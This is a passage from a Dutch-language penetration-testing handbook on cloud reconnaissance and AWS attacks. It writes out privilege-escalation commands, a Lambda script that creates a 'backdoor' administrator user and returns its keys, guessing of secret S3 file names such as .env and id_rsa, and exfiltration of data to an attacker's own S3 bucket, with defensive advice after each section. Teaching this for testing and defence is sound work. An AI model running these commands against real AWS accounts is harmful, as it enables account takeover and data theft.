IB Tip: Maak een workflow aan die DNS recon, CT log enumeration, en cloud fingerprinting combineert. Start met recon_dns voor basis DNS-informatie, gebruik de output om cloud providers te identificeren, en zoek vervolgens gericht naar storage buckets en API endpoints. De Tasks-pagina kan meerdere recon-tools sequentieel uitvoeren.

2.8.2 Resultaten organiseren

Cloud recon genereert veel data. Organiseer het systematisch:

# Maak een directory structuur aan
mkdir -p raw/cloud/{dns,ct,buckets,creds,apis,fingerprints}

# Sla resultaten op per categorie
subfinder -d target.com -all -o raw/cloud/dns/subdomains.txt
# CT logs naar raw/cloud/ct/
# Bucket scans naar raw/cloud/buckets/
# Credential scans naar raw/cloud/creds/
# API recon naar raw/cloud/apis/
# Fingerprinting naar raw/cloud/fingerprints/

IB Tip: Gebruik de Notes-functie in IB om je cloud recon-bevindingen per categorie te documenteren. Maak een note aan voor elke cloudprovider die je identificeert, met de gevonden services, endpoints, en potentiele kwetsbaarheden. Deze notes vormen de basis voor je aanvalsstrategie in de volgende hoofdstukken.

2.9 Verdedigingsmaatregelen: een samenvatting

Het cynische deel van dit hoofdstuk zou hier kunnen eindigen met de observatie dat alles wat we hierboven hebben beschreven, voorkomen had kunnen worden met basishygiene. Maar laten we constructief zijn.

Risico Maatregel Prioriteit
DNS-informatielek Minimaliseer publieke DNS-records, gebruik split-horizon DNS Hoog
CT log exposure Accepteer het als onvermijdelijk; focus op het beveiligen van ontdekte endpoints Medium
Storage bucket misconfiguratie Block Public Access op accountniveau, onvoorspelbare namen Kritiek
Credential leaks in code Pre-commit hooks, secrets scanning, secrets management Kritiek
Subdomain takeover DNS-hygiene: verwijder records bij deprovisioning Hoog
Cloud metadata fingerprinting CDN/reverse proxy, verwijder informatieve headers Medium
API enumeration Rate limiting, IP-filtering op gevoelige endpoints Hoog
Azure tenant enumeration Smart Lockout, Conditional Access Medium
Firebase open databases Security rules auditen, testen met ongeauthenticeerde requests Kritiek
.env file exposure Webserver-configuratie: blokkeer dotfiles Kritiek

De rode draad: de meeste cloudlekken zijn geen softwarekwetsbaarheden. Het zijn configuratiefouten. En configuratiefouten zijn menselijke fouten. En menselijke fouten zijn onvermijdelijk. De enige verdediging is automatisering: beleid dat wordt afgedwongen door code, niet door procedures die in een SharePoint-document staan dat niemand leest.

2.10 De ongemakkelijke waarheid over cloud reconnaissance

Laten we eerlijk zijn. Alles wat we in dit hoofdstuk hebben besproken – DNS-records opvragen, CT logs doorzoeken, storage buckets raden, credentials zoeken op GitHub – het is niet geavanceerd. Het vereist geen diepe technische kennis. Het vereist geen custom tools of zero-days. Het vereist geduld, systematiek, en het vermogen om in Google te zoeken.

En dat is precies wat het zo verontrustend maakt.

De gemiddelde cloud-omgeving is niet kwetsbaar vanwege geavanceerde aanvallen. Het is kwetsbaar omdat iemand een S3 bucket bedrijfsnaam-backup heeft genoemd en vergeten is om de publieke toegang uit te schakelen. Omdat een ontwikkelaar een AWS access key in een Docker Compose-bestand heeft gezet en dat bestand naar GitHub heeft gepusht. Omdat de IT-afdeling een subdomein heeft aangemaakt voor een testomgeving, die testomgeving heeft opgeheven, en het DNS-record heeft laten staan.

Het is geen malice. Het is vergeetachtigheid op industriele schaal. En de cloud maakt het erger, niet beter. In een traditioneel netwerk zijn je fouten tenminste verborgen achter een firewall. In de cloud staan ze aan de weg, met een neonbord erboven.

De enige troost? Als pentester is dit goed nieuws. Er is altijd iets te vinden.

2.11 Referentietabel

Techniek Tool/Commando Doel MITRE ATT&CK
DNS Recon dig, host, dnsrecon Cloud provider identificatie via DNS records T1590.002
CT Log Enumeration crt.sh, certspotter, censys Subdomain discovery via certificate transparency T1596.003
Subdomain Enumeration subfinder, amass Volledige subdomain inventarisatie T1590.002
Cloud Asset Discovery cloud_enum S3/Azure Blob/GCP bucket discovery T1580
S3 Bucket Scanning s3scanner, aws s3 ls Publiekelijk toegankelijke buckets vinden T1530
Azure Blob Scanning blobhunter, curl Publiekelijk toegankelijke blob containers vinden T1530
Shodan/Censys shodan search, censys search Passieve asset discovery T1596.005
GitHub Dorking GitHub Search, gh search code Credentials in publieke repositories T1552.004
Credential Scanning trufflehog, gitleaks Geautomatiseerde credential detectie in code T1552.001
HTTP Header Analysis curl -sI Cloud provider fingerprinting via headers T1592.004
IP/ASN Lookup whois, ipinfo.io Cloud provider identificatie via IP-bereik T1590.005
Azure Tenant Enum login.microsoftonline.com API Azure AD tenant en gebruiker enumeratie T1589.002
GCP Project Discovery Firebase, App Engine URLs GCP project identificatie T1580
SSL/TLS Analysis testssl.sh, sslyze, openssl Certificate chain analyse, load balancer detectie T1596.003
Subdomain Takeover subjack, nuclei Dangling DNS records detecteren T1584.001
.env Exposure curl, ffuf Publiekelijk toegankelijke configuratiebestanden T1552.001
Pastebin/Breach Search Google dorks, Dehashed Gelekte credentials in publieke dumps T1589.001

Volgende hoofdstuk: Hoofdstuk 3 – AWS Aanvallen

AWS Aanvallen

AWS Aanvallen

“AWS is als een stad met tienduizend deuren. De meeste zitten op slot. Maar de paar die dat niet doen, leiden allemaal naar dezelfde kluis.”

Het Amazone-oerwoud

Er is een zekere ironie aan het feit dat de grootste cloudomgeving ter wereld is vernoemd naar een tropisch regenwoud. Net als het echte Amazonegebied is AWS een ecosysteem van onvoorstelbare complexiteit, waar alles met alles verbonden is op manieren die niemand volledig begrijpt. Er leven diensten in het AWS-ecosysteem die zo obscuur zijn dat zelfs AWS-medewerkers ze niet kennen. Er zijn permissiemodellen die zo verweven zijn dat het wijzigen van een enkele IAM-policy een keten van gevolgen kan hebben die zich door tien services verspreidt.

Maar in tegenstelling tot het echte Amazonegebied, waar elke millimeter is geoptimaliseerd door miljoenen jaren evolutie, is de AWS-omgeving van de gemiddelde organisatie een rommeltje. Permissions die te breed zijn omdat iemand haast had. Rollen die aan iedereen zijn gekoppeld omdat niemand begreep hoe het wel moest. Security groups die 0.0.0.0/0 toestaan op poort 22 “omdat het anders niet werkte.”

In dit hoofdstuk nemen we AWS systematisch onder de loep. We beginnen bij de fundamenten – IAM, het permissiemodel dat alles bij elkaar houdt – en werken ons op naar specifieke aanvalstechnieken op S3, EC2, Lambda, en STS. Bij elke stap laten we zien hoe organisaties het verkeerd doen, hoe je het uitbuit, en hoe het beter kan.

Want dat is uiteindelijk het punt. Niet het breken. Het begrijpen. En dan het fixen.

IB Tip: De Command Library bevat AWS-specifieke commands. Veel technieken in dit hoofdstuk zijn beschikbaar als command files die je kunt kopieren en aanpassen met je target-specifieke waarden. De [host] placeholder in IB wordt automatisch vervangen door het geconfigureerde IP-adres.

3.1 AWS fundamenten voor pentesters

3.1.1 IAM: het zenuwstelsel

Identity and Access Management (IAM) is het meest fundamentele en tegelijkertijd meest verkeerd begrepen onderdeel van AWS. Het bepaalt wie wat mag doen met welke resource. En als je het verkeerd configureert – wat bijna iedereen doet – dan bepaalt het dat iedereen alles mag doen met elke resource.

IAM kent vier kernbegrippen:

Users zijn identiteiten voor mensen of applicaties. Elke user heeft een unieke naam, optioneel een wachtwoord voor de console, en optioneel access keys voor API-toegang. Het probleem met users is dat ze permanent zijn. Een access key die wordt aangemaakt voor een deployment script, bestaat voor altijd – tenzij iemand hem actief verwijdert. En niemand verwijdert hem actief.

Groups zijn verzamelingen van users. Ze bestaan om het beheer te vereenvoudigen: in plaats van dezelfde rechten aan tien users te koppelen, maak je een groep aan en koppel je de rechten aan de groep. In theorie. In de praktijk worden rechten zowel aan groepen als aan individuele users gekoppeld, waardoor het overzicht verloren gaat als sneeuw voor de zon.

Roles zijn tijdelijke identiteiten die door services, users, of externe accounts kunnen worden aangenomen via AssumeRole. Een EC2-instantie draait onder een role. Een Lambda-functie draait onder een role. Een gebruiker in een andere AWS-account kan een role aannemen om cross-account toegang te krijgen. Roles zijn het primaire doelwit voor privilege escalation, want ze zijn ontworpen om overgedragen te worden.

Policies zijn JSON-documenten die permissies definiëren. Ze worden gekoppeld aan users, groups en roles. Er zijn twee soorten: AWS managed policies (door AWS beheerd, breed, vaak te breed) en customer managed policies (door de klant gemaakt, soms breder dan de AWS-versies).

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::my-bucket/*"
        }
    ]
}

Dit is een simpele policy. Het staat toe dat de entiteit waaraan het is gekoppeld, objecten mag lezen uit een specifieke S3 bucket. Klinkt onschuldig. Maar vervang s3:GetObject door * en arn:aws:s3:::my-bucket/* door *, en je hebt God Mode:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": "*",
            "Resource": "*"
        }
    ]
}

Dit is de AdministratorAccess policy. Het geeft volledige toegang tot alles in het AWS-account. En je zou niet geloven hoeveel organisaties deze policy aan development-users koppelen “omdat het anders niet werkt.” Het is het digitale equivalent van iedereen een loper geven voor het hele kantoor, inclusief de kluis, de serverruimte en het kantoor van de directeur. Omdat het handig is.

3.1.2 ARN-structuur

Amazon Resource Names (ARNs) zijn de unieke identifiers voor elke resource in AWS. Ze volgen een vast formaat:

arn:aws:SERVICE:REGION:ACCOUNT_ID:RESOURCE_TYPE/RESOURCE_NAME

Voorbeelden:

# IAM User
arn:aws:iam::123456789012:user/john

# IAM Role
arn:aws:iam::123456789012:role/EC2AdminRole

# S3 Bucket
arn:aws:s3:::my-bucket

# S3 Object
arn:aws:s3:::my-bucket/secret-file.txt

# EC2 Instance
arn:aws:ec2:eu-west-1:123456789012:instance/i-0abcdef1234567890

# Lambda Function
arn:aws:lambda:eu-west-1:123456789012:function:my-function

# Secrets Manager Secret
arn:aws:secretsmanager:eu-west-1:123456789012:secret:prod/db/password-AbCdEf

Let op: IAM en S3 ARNs bevatten geen regio. IAM is een globale service. S3-bucketnamen zijn ook globaal uniek – er kan maar een bucket bestaan met een bepaalde naam, ongeacht de regio.

Het begrijpen van ARN-structuur is essentieel voor het lezen van IAM-policies en het identificeren van misconfiguraties. Als een policy Resource: "arn:aws:s3:::*" bevat, geldt het voor alle S3 buckets. Als het Resource: "*" bevat, geldt het voor alle resources in alle services.

3.1.3 Regio’s en services

AWS opereert in meer dan dertig regio’s wereldwijd. Elke regio is een fysiek gescheiden cluster van datacenters. De meeste AWS-services zijn regio-specifiek: een EC2-instantie in eu-west-1 (Ierland) bestaat niet in us-east-1 (Virginia). Maar sommige services zijn globaal: IAM, Route 53, CloudFront, en S3 (hoewel S3-data fysiek in een regio staat).

Dit heeft implicaties voor pentesters: als je een AWS-omgeving enumereert, moet je elke regio checken. Een organisatie met haar productie in eu-west-1 kan een vergeten testomgeving hebben in ap-southeast-1. En die testomgeving heeft misschien diezelfde brede IAM-policies als de productieomgeving.

# Alle beschikbare regio's oplijsten
aws ec2 describe-regions --output table

# Veelgebruikte regio's
# eu-west-1     Ireland
# eu-central-1  Frankfurt
# us-east-1     N. Virginia (de default, en de oudste)
# us-west-2     Oregon
# ap-southeast-1 Singapore

3.2 IAM Enumeration

3.2.1 Wie ben ik?

De eerste vraag bij het verkennen van een AWS-omgeving is altijd: wie ben ik? Welke identiteit gebruik ik, en wat mag die identiteit?

# Wie ben ik?
aws sts get-caller-identity

Dit commando vertelt je drie dingen: - Account: het 12-cijferige AWS account ID - Arn: de volledige ARN van je identiteit (user, role, of assumed role) - UserId: een unieke identifier

{
    "UserId": "AIDAEXAMPLE123456789",
    "Account": "123456789012",
    "Arn": "arn:aws:iam::123456789012:user/pentester"
}

Dit is het vertrekpunt. Alles wat volgt, bouwt hierop voort.

3.2.2 enumerate-iam

enumerate-iam is een tool die systematisch probeert welke AWS API-calls je identiteit mag maken. Het stuurt duizenden verzoeken naar verschillende AWS-services en analyseert de responses – een 403 betekent “geen toegang”, een 200 of een andere succesvolle response betekent “je mag dit.”

# Installatie
git clone https://github.com/andresriancho/enumerate-iam.git
cd enumerate-iam
pip install -r requirements.txt

# Basisgebruik
python enumerate-iam.py \
    --access-key AKIAIOSFODNN7EXAMPLE \
    --secret-key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

# Met session token (voor tijdelijke credentials)
python enumerate-iam.py \
    --access-key ASIAEXAMPLE \
    --secret-key SECRET_KEY \
    --session-token SESSION_TOKEN

# Met specifieke regio
python enumerate-iam.py \
    --access-key AKIA... \
    --secret-key SECRET... \
    --region eu-west-1

De output is een lijst van API-calls die succesvol waren:

2026-03-02 10:15:23,456 - enumerate-iam - INFO - Starting permission enumeration
2026-03-02 10:15:24,789 - enumerate-iam - INFO - -- Account ARN: arn:aws:iam::123456789012:user/dev-user
2026-03-02 10:15:25,012 - enumerate-iam - INFO - -- Account Id: 123456789012
2026-03-02 10:15:26,345 - enumerate-iam - INFO - Checking iam permissions
2026-03-02 10:15:27,678 - enumerate-iam - INFO -   ALLOWED: iam.list_users
2026-03-02 10:15:28,901 - enumerate-iam - INFO -   ALLOWED: iam.list_roles
2026-03-02 10:15:30,234 - enumerate-iam - INFO -   ALLOWED: iam.list_policies
2026-03-02 10:15:31,567 - enumerate-iam - INFO - Checking s3 permissions
2026-03-02 10:15:32,890 - enumerate-iam - INFO -   ALLOWED: s3.list_buckets
2026-03-02 10:15:34,123 - enumerate-iam - INFO - Checking ec2 permissions
2026-03-02 10:15:35,456 - enumerate-iam - INFO -   ALLOWED: ec2.describe_instances
2026-03-02 10:15:36,789 - enumerate-iam - INFO -   ALLOWED: ec2.describe_security_groups
2026-03-02 10:15:38,012 - enumerate-iam - INFO - Checking lambda permissions
2026-03-02 10:15:39,345 - enumerate-iam - INFO -   ALLOWED: lambda.list_functions

Dit vertelt je onmiddellijk welke services je kunt benaderen. Van daaruit kun je gericht verder enumereren.

Let op: enumerate-iam maakt honderden tot duizenden API-calls. Dit genereert CloudTrail-logs. Het is niet stealthy. Gebruik het vroeg in je assessment, wanneer detectie nog acceptabel is.

3.2.3 AWS CLI enumeratie

Met de AWS CLI kun je gericht enumereren op basis van wat enumerate-iam heeft ontdekt:

# === IAM Enumeratie ===

# Alle IAM users
aws iam list-users --output table

# Details van een specifieke user
aws iam get-user --user-name TARGET_USER

# Access keys van een user
aws iam list-access-keys --user-name TARGET_USER

# Policies gekoppeld aan een user
aws iam list-attached-user-policies --user-name TARGET_USER
aws iam list-user-policies --user-name TARGET_USER  # inline policies

# Policy details ophalen (de daadwerkelijke permissies)
aws iam get-policy --policy-arn arn:aws:iam::123456789012:policy/POLICY_NAME
aws iam get-policy-version \
    --policy-arn arn:aws:iam::123456789012:policy/POLICY_NAME \
    --version-id v1

# Alle IAM groups
aws iam list-groups --output table

# Leden van een groep
aws iam get-group --group-name GROEP_NAAM

# Policies van een groep
aws iam list-attached-group-policies --group-name GROEP_NAAM

# === Roles ===

# Alle IAM roles
aws iam list-roles --output table

# Trust policy van een role (wie mag de role aannemen?)
aws iam get-role --role-name ROLE_NAME \
    | jq '.Role.AssumeRolePolicyDocument'

# Policies van een role
aws iam list-attached-role-policies --role-name ROLE_NAME
aws iam list-role-policies --role-name ROLE_NAME

# === Overig ===

# Account authorization details (als je genoeg rechten hebt)
# Dit is de heilige graal: alle users, groups, roles en hun policies in een keer
aws iam get-account-authorization-details > iam-dump.json

# Password policy
aws iam get-account-password-policy

# MFA status van alle users
aws iam generate-credential-report
aws iam get-credential-report --output text --query Content | base64 -d

Die get-account-authorization-details call is bijzonder waardevol. Als je die mag uitvoeren, heb je een complete dump van het IAM-model. Elk user, elke role, elke policy, elke trust relationship. Het is alsof je de blueprints van het gebouw hebt.

3.2.4 Access Advisor

AWS Access Advisor toont wanneer een service voor het laatst is gebruikt door een user of role. Dit is goud voor het identificeren van overmatige rechten:

# Genereer een access advisor rapport
job_id=$(aws iam generate-service-last-accessed-details \
    --arn arn:aws:iam::123456789012:user/TARGET_USER \
    --query 'JobId' --output text)

# Wacht even, haal dan het rapport op
sleep 5
aws iam get-service-last-accessed-details --job-id "$job_id" \
    | jq '.ServicesLastAccessed[] | select(.TotalAuthenticatedEntities > 0) |
      {ServiceName, LastAuthenticated}'

Als een user rechten heeft op S3, EC2, Lambda, DynamoDB, en RDS, maar de afgelopen zes maanden alleen S3 heeft gebruikt, dan zijn de andere rechten overbodig. En overbodige rechten zijn aanvalsoppervlak.

Verdedigingsmaatregel: Gebruik het principe van least privilege. Verwijder ongebruikte rechten op basis van Access Advisor-data. Gebruik IAM Access Analyzer om overly-permissive policies te detecteren. Genereer regelmatig credential reports om ongebruikte access keys en users zonder MFA te identificeren.

3.3 IAM Privilege Escalation

3.3.1 De kunst van het hoger klimmen

IAM privilege escalation is het proces waarbij je begint met beperkte rechten en eindigt met meer rechten dan bedoeld. In AWS is dit niet een enkel pad – het is een heel netwerk van paden. Rhino Security Labs heeft meer dan twintig verschillende privesc-methoden gedocumenteerd, en er worden regelmatig nieuwe ontdekt.

Het fundamentele probleem is dat AWS-permissies additief zijn. Een user erft rechten van zijn groepen, zijn direct gekoppelde policies, en zijn inline policies. Die rechten kunnen subtiele combinaties vormen die individueel onschuldig zijn, maar samen gevaarlijk worden.

Stel: een user mag IAM-policies aanmaken (iam:CreatePolicy) en policies aan zichzelf koppelen (iam:AttachUserPolicy). Elk recht afzonderlijk is relatief onschuldig – je maakt een policy aan, je koppelt een policy. Maar samen vormen ze de sleutel tot alles: je maakt een policy aan met "Action": "*", "Resource": "*", koppelt die aan jezelf, en je bent God.

3.3.2 De belangrijkste privesc-paden

1. CreatePolicyVersion

Als je iam:CreatePolicyVersion hebt op een policy die aan je user is gekoppeld, kun je een nieuwe versie van die policy aanmaken met bredere rechten:

# Stap 1: Check of je CreatePolicyVersion hebt
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query 'Arn' --output text | cut -d/ -f2)

# Stap 2: Maak een nieuwe policy version aan met admin rechten
aws iam create-policy-version \
    --policy-arn arn:aws:iam::123456789012:policy/MY_POLICY \
    --policy-document '{
        "Version": "2012-10-17",
        "Statement": [{
            "Effect": "Allow",
            "Action": "*",
            "Resource": "*"
        }]
    }' \
    --set-as-default

# Je bent nu admin.

Dit werkt omdat CreatePolicyVersion je toestaat om de inhoud van een policy te wijzigen. De policy is al aan je user gekoppeld, dus de nieuwe inhoud geldt onmiddellijk. Het is alsof je de tekst van een wet mag herschrijven die op jou van toepassing is.

2. AttachUserPolicy / AttachGroupPolicy / AttachRolePolicy

Als je policies mag koppelen aan users, groups of roles:

# Koppel de AdministratorAccess managed policy aan je eigen user
aws iam attach-user-policy \
    --user-name pentester \
    --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Of aan een groep waar je lid van bent
aws iam attach-group-policy \
    --group-name developers \
    --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

3. PutUserPolicy / PutGroupPolicy / PutRolePolicy

In plaats van een bestaande managed policy te koppelen, maak je een inline policy aan:

# Maak een inline policy aan met admin rechten
aws iam put-user-policy \
    --user-name pentester \
    --policy-name escalation \
    --policy-document '{
        "Version": "2012-10-17",
        "Statement": [{
            "Effect": "Allow",
            "Action": "*",
            "Resource": "*"
        }]
    }'

4. PassRole + Lambda (of EC2, of andere services)

Dit is de meest elegante en meest voorkomende privesc. De logica: 1. Je hebt iam:PassRole (om een role aan een service te geven) 2. Je hebt lambda:CreateFunction en lambda:InvokeFunction 3. Er bestaat een role met meer rechten dan jij hebt 4. Je maakt een Lambda-functie aan die onder die role draait 5. De Lambda-functie voert AWS API-calls uit met de rechten van die role

# Stap 1: Vind een role met meer rechten
aws iam list-roles | jq '.Roles[] | {RoleName, Arn}'

# Stap 2: Check de trust policy -- kan Lambda de role aannemen?
aws iam get-role --role-name AdminRole \
    | jq '.Role.AssumeRolePolicyDocument'
# Moet bevatten: "Service": "lambda.amazonaws.com"

# Stap 3: Maak de privilege escalation Lambda-functie
cat > /tmp/lambda_privesc.py << 'PYEOF'
import boto3
import json

def handler(event, context):
    # Deze code draait met de rechten van AdminRole
    client = boto3.client('iam')

    # Optie A: Maak een nieuwe admin user aan
    client.create_user(UserName='backdoor')
    client.attach_user_policy(
        UserName='backdoor',
        PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
    )
    keys = client.create_access_key(UserName='backdoor')

    return {
        'AccessKeyId': keys['AccessKey']['AccessKeyId'],
        'SecretAccessKey': keys['AccessKey']['SecretAccessKey']
    }
PYEOF

# Stap 4: Zip en upload
cd /tmp && zip lambda_privesc.zip lambda_privesc.py

# Stap 5: Maak de Lambda-functie aan met de hoge-privilege role
aws lambda create-function \
    --function-name privesc \
    --runtime python3.12 \
    --handler lambda_privesc.handler \
    --role arn:aws:iam::123456789012:role/AdminRole \
    --zip-file fileb:///tmp/lambda_privesc.zip

# Stap 6: Invoke
aws lambda invoke \
    --function-name privesc \
    /tmp/output.json && cat /tmp/output.json

Dit is waarom iam:PassRole zo gevaarlijk is. Het lijkt onschuldig – je “geeft” een role aan een service. Maar in werkelijkheid escaleer je je eigen rechten via die service. Het is alsof je de sleutel van de kluis niet zelf pakt, maar hem aan een robot geeft en de robot instrueert om de kluis te openen.

5. AssumeRole

Als je een role mag aannemen die meer rechten heeft:

# Check welke roles je mag aannemen
# (dit staat in de trust policy van de role)
aws iam list-roles \
    | jq '.Roles[] | select(.AssumeRolePolicyDocument.Statement[].Principal.AWS
      | strings | contains("pentester") or contains("123456789012"))'

# Neem de role aan
aws sts assume-role \
    --role-arn arn:aws:iam::123456789012:role/AdminRole \
    --role-session-name escalation

# Gebruik de tijdelijke credentials
export AWS_ACCESS_KEY_ID="ASIAEXAMPLE..."
export AWS_SECRET_ACCESS_KEY="SECRET..."
export AWS_SESSION_TOKEN="TOKEN..."

# Verifieer
aws sts get-caller-identity

6. AddUserToGroup

Simpel maar effectief: als je users aan groepen mag toevoegen, voeg je jezelf toe aan de Admins-groep:

# Zoek de groep met de meeste rechten
aws iam list-groups
aws iam list-attached-group-policies --group-name Admins

# Voeg jezelf toe
aws iam add-user-to-group \
    --user-name pentester \
    --group-name Admins

3.3.3 Overzicht van alle privesc-paden

# Methode Vereiste Permissie(s) Complexiteit
1 CreatePolicyVersion iam:CreatePolicyVersion Laag
2 SetDefaultPolicyVersion iam:SetDefaultPolicyVersion Laag
3 AttachUserPolicy iam:AttachUserPolicy Laag
4 AttachGroupPolicy iam:AttachGroupPolicy Laag
5 AttachRolePolicy iam:AttachRolePolicy Laag
6 PutUserPolicy iam:PutUserPolicy Laag
7 PutGroupPolicy iam:PutGroupPolicy Laag
8 PutRolePolicy iam:PutRolePolicy Laag
9 AddUserToGroup iam:AddUserToGroup Laag
10 UpdateAssumeRolePolicy iam:UpdateAssumeRolePolicy Medium
11 PassRole + Lambda iam:PassRole, lambda:CreateFunction, lambda:InvokeFunction Medium
12 PassRole + EC2 iam:PassRole, ec2:RunInstances Medium
13 PassRole + CloudFormation iam:PassRole, cloudformation:CreateStack Medium
14 PassRole + DataPipeline iam:PassRole, datapipeline:CreatePipeline Hoog
15 PassRole + Glue iam:PassRole, glue:CreateDevEndpoint Medium
16 PassRole + SageMaker iam:PassRole, sagemaker:CreateNotebookInstance Hoog
17 UpdateFunctionCode lambda:UpdateFunctionCode Laag
18 CreateEC2WithExistingIP ec2:RunInstances, iam:PassRole Medium
19 CreateLoginProfile iam:CreateLoginProfile Laag
20 UpdateLoginProfile iam:UpdateLoginProfile Laag
21 CreateAccessKey iam:CreateAccessKey Laag

Elk van deze paden is een ketting: het begint met een ogenschijnlijk beperkt recht en eindigt met volledige controle. Het probleem is dat AWS-beheerders deze ketens niet zien wanneer ze rechten toekennen. Ze geven een ontwikkelaar iam:PassRole en lambda:CreateFunction omdat die rechten nodig zijn voor het deployen van Lambda-functies. Wat ze niet beseffen, is dat diezelfde rechten privilege escalation mogelijk maken.

Verdedigingsmaatregel: Beperk iam:PassRole met een Resource-restrictie tot specifieke roles. Gebruik Permission Boundaries om te voorkomen dat users rechten kunnen escaleren voorbij een bepaald plafond. Monitor met CloudTrail en AWS Config op policy-wijzigingen en role-aannames. Implementeer Service Control Policies (SCPs) in AWS Organizations om harde grenzen te stellen.

3.4 S3 Exploitatie

3.4.1 De digitale opslagloods

Amazon S3 is de opslagdienst van AWS. Organisaties gebruiken het voor alles: website-assets, applicatiedata, backups, logbestanden, database dumps. Het is goedkoop, schaalbaar en betrouwbaar. Het is ook de bron van meer datalekken dan welke andere cloud-service ook.

Het permissiemodel van S3 is een meesterwerk van verwarring. Er zijn vier verschillende manieren om toegang te verlenen tot een S3 bucket:

  1. Bucket policies: JSON-documenten die op de bucket zelf staan
  2. Object ACLs: per-object access control lists (legacy, maar nog steeds in gebruik)
  3. IAM policies: permissies op de user/role die de request maakt
  4. Block Public Access: een accountniveau-instelling die alles overschrijft

En deze vier systemen interageren met elkaar. Een bucket kan een policy hebben die publieke toegang toestaat, maar Block Public Access kan dat overschrijven. Of een object kan een ACL hebben die publieke leestoegang geeft, zelfs als de bucket policy dat niet doet. Het is een vierlagen-beveiligingsmodel waarvan de lagen elkaar tegenspreken.

3.4.2 Misconfigured buckets

# Check of een bucket publiekelijk listbaar is
aws s3 ls s3://target-bucket --no-sign-request

# Download alle publiekelijk toegankelijke objecten
aws s3 sync s3://target-bucket /tmp/bucket-dump --no-sign-request

# Check of je kunt schrijven naar een bucket
echo "test" > /tmp/test.txt
aws s3 cp /tmp/test.txt s3://target-bucket/test.txt --no-sign-request

# Check bucket ACL
aws s3api get-bucket-acl --bucket target-bucket --no-sign-request

# Check bucket policy
aws s3api get-bucket-policy --bucket target-bucket --no-sign-request

De --no-sign-request flag is cruciaal. Het vertelt de AWS CLI om geen authentication headers mee te sturen – je doet het verzoek als een anonieme gebruiker. Als het werkt, is de bucket publiekelijk toegankelijk.

Veelvoorkomende misconfiguraties:

Misconfiguratie Risico Hoe te testen
Publiekelijk listbaar Iedereen kan alle objectnamen zien aws s3 ls --no-sign-request
Publiekelijk leesbaar Iedereen kan alle objecten downloaden aws s3 cp --no-sign-request
Publiekelijk schrijfbaar Iedereen kan objecten uploaden/overschrijven aws s3 cp test.txt --no-sign-request
Authenticated users readable Elke AWS-account kan lezen aws s3 ls (met willekeurige credentials)
ACL: AllUsers READ Legacy ACL met publieke leestoegang aws s3api get-bucket-acl
ACL: AllUsers WRITE Legacy ACL met publieke schrijftoegang aws s3api get-bucket-acl

3.4.3 Object-level vs bucket-level permissies

Een subtiel maar kritiek onderscheid: een bucket kan niet-listbaar zijn, maar individuele objecten kunnen wel publiekelijk leesbaar zijn. Dit betekent dat je de bestandsnamen niet kunt zien, maar als je de naam raadt, kun je het bestand downloaden.

# Bucket is niet listbaar
aws s3 ls s3://target-bucket --no-sign-request
# Access Denied

# Maar specifieke objecten kunnen wel toegankelijk zijn
aws s3 cp s3://target-bucket/backup.sql /tmp/backup.sql --no-sign-request
# download: s3://target-bucket/backup.sql -> /tmp/backup.sql

# Veelvoorkomende bestandsnamen om te proberen
for file in backup.sql database.sql dump.sql config.json .env \
            credentials.json secrets.json terraform.tfstate \
            id_rsa private.key backup.tar.gz data.csv; do
    aws s3 cp "s3://target-bucket/$file" /dev/null --no-sign-request 2>/dev/null \
        && echo "FOUND: $file"
done

3.4.4 Pre-signed URL abuse

Pre-signed URLs zijn tijdelijke links die toegang geven tot een S3 object zonder AWS-credentials. Ze worden vaak gebruikt om gebruikers bestanden te laten downloaden uit private buckets. Het probleem: als een pre-signed URL lekt, kan iedereen met die URL het object downloaden tot de URL verloopt.

# Genereer een pre-signed URL (als je de juiste rechten hebt)
aws s3 presign s3://target-bucket/secret-file.pdf --expires-in 3600

# Het resultaat is een lange URL met een signature:
# https://target-bucket.s3.amazonaws.com/secret-file.pdf?
#   X-Amz-Algorithm=AWS4-HMAC-SHA256&
#   X-Amz-Credential=AKIAEXAMPLE/20260302/eu-west-1/s3/aws4_request&
#   X-Amz-Date=20260302T120000Z&
#   X-Amz-Expires=3600&
#   X-Amz-Signature=abcdef...

# Pre-signed URLs lekken via:
# - Browser history
# - Referrer headers
# - Server logs
# - Slack/Teams berichten
# - E-mails

Pre-signed URLs zijn ook bruikbaar als data exfiltratie-kanaal. Met PutObject rechten kun je een pre-signed URL genereren waarmee data naar een bucket kan worden geupload – zonder dat de uploader AWS-credentials nodig heeft.

3.4.5 S3 als data exfiltratie

Als je schrijfrechten hebt naar een S3 bucket die je zelf beheert, kun je S3 gebruiken om data te exfiltreren uit een gecompromitteerde omgeving:

# Configureer je eigen AWS-profiel
aws configure --profile exfil
# Vul je eigen access key en secret key in

# Kopieer data naar je eigen bucket
aws s3 cp /tmp/gevoelige-data.tar.gz s3://mijn-exfil-bucket/ --profile exfil

# Of gebruik de AWS CLI met environment variables
export AWS_ACCESS_KEY_ID="MIJN_KEY"
export AWS_SECRET_ACCESS_KEY="MIJN_SECRET"
aws s3 cp /tmp/data.tar.gz s3://mijn-bucket/

Dit verkeer gaat over HTTPS naar AWS-endpoints. Het ziet eruit als normaal S3-verkeer. Veel organisaties monitoren uitgaand verkeer naar AWS niet specifiek, waardoor S3 een effectief exfiltratiekanaal is.

Verdedigingsmaatregel: Activeer S3 Block Public Access op accountniveau. Gebruik bucket policies met expliciete Deny voor ongewenste acties. Monitor S3 access logs en CloudTrail data events. Gebruik S3 Object Lock voor kritieke data. Implementeer VPC endpoints voor S3 en blokkeer S3-verkeer dat niet via de VPC endpoint gaat.

3.5 EC2 Aanvallen

3.5.1 De virtuele machine en haar geheimen

Amazon EC2 (Elastic Compute Cloud) is de virtuele-machine-service van AWS. Het is waar de applicaties draaien, de databases staan, en de workloads worden verwerkt. En het is waar de Instance Metadata Service (IMDS) een schat aan informatie biedt aan iedereen die erom vraagt.

3.5.2 Instance Metadata Service (IMDS)

Elke EC2-instantie heeft toegang tot een metadata-service op 169.254.169.254. Dit is een link-local adres dat alleen bereikbaar is vanaf de instantie zelf. Het biedt informatie over de instantie: hostname, instance ID, security groups, en – het belangrijkste – tijdelijke IAM-credentials.

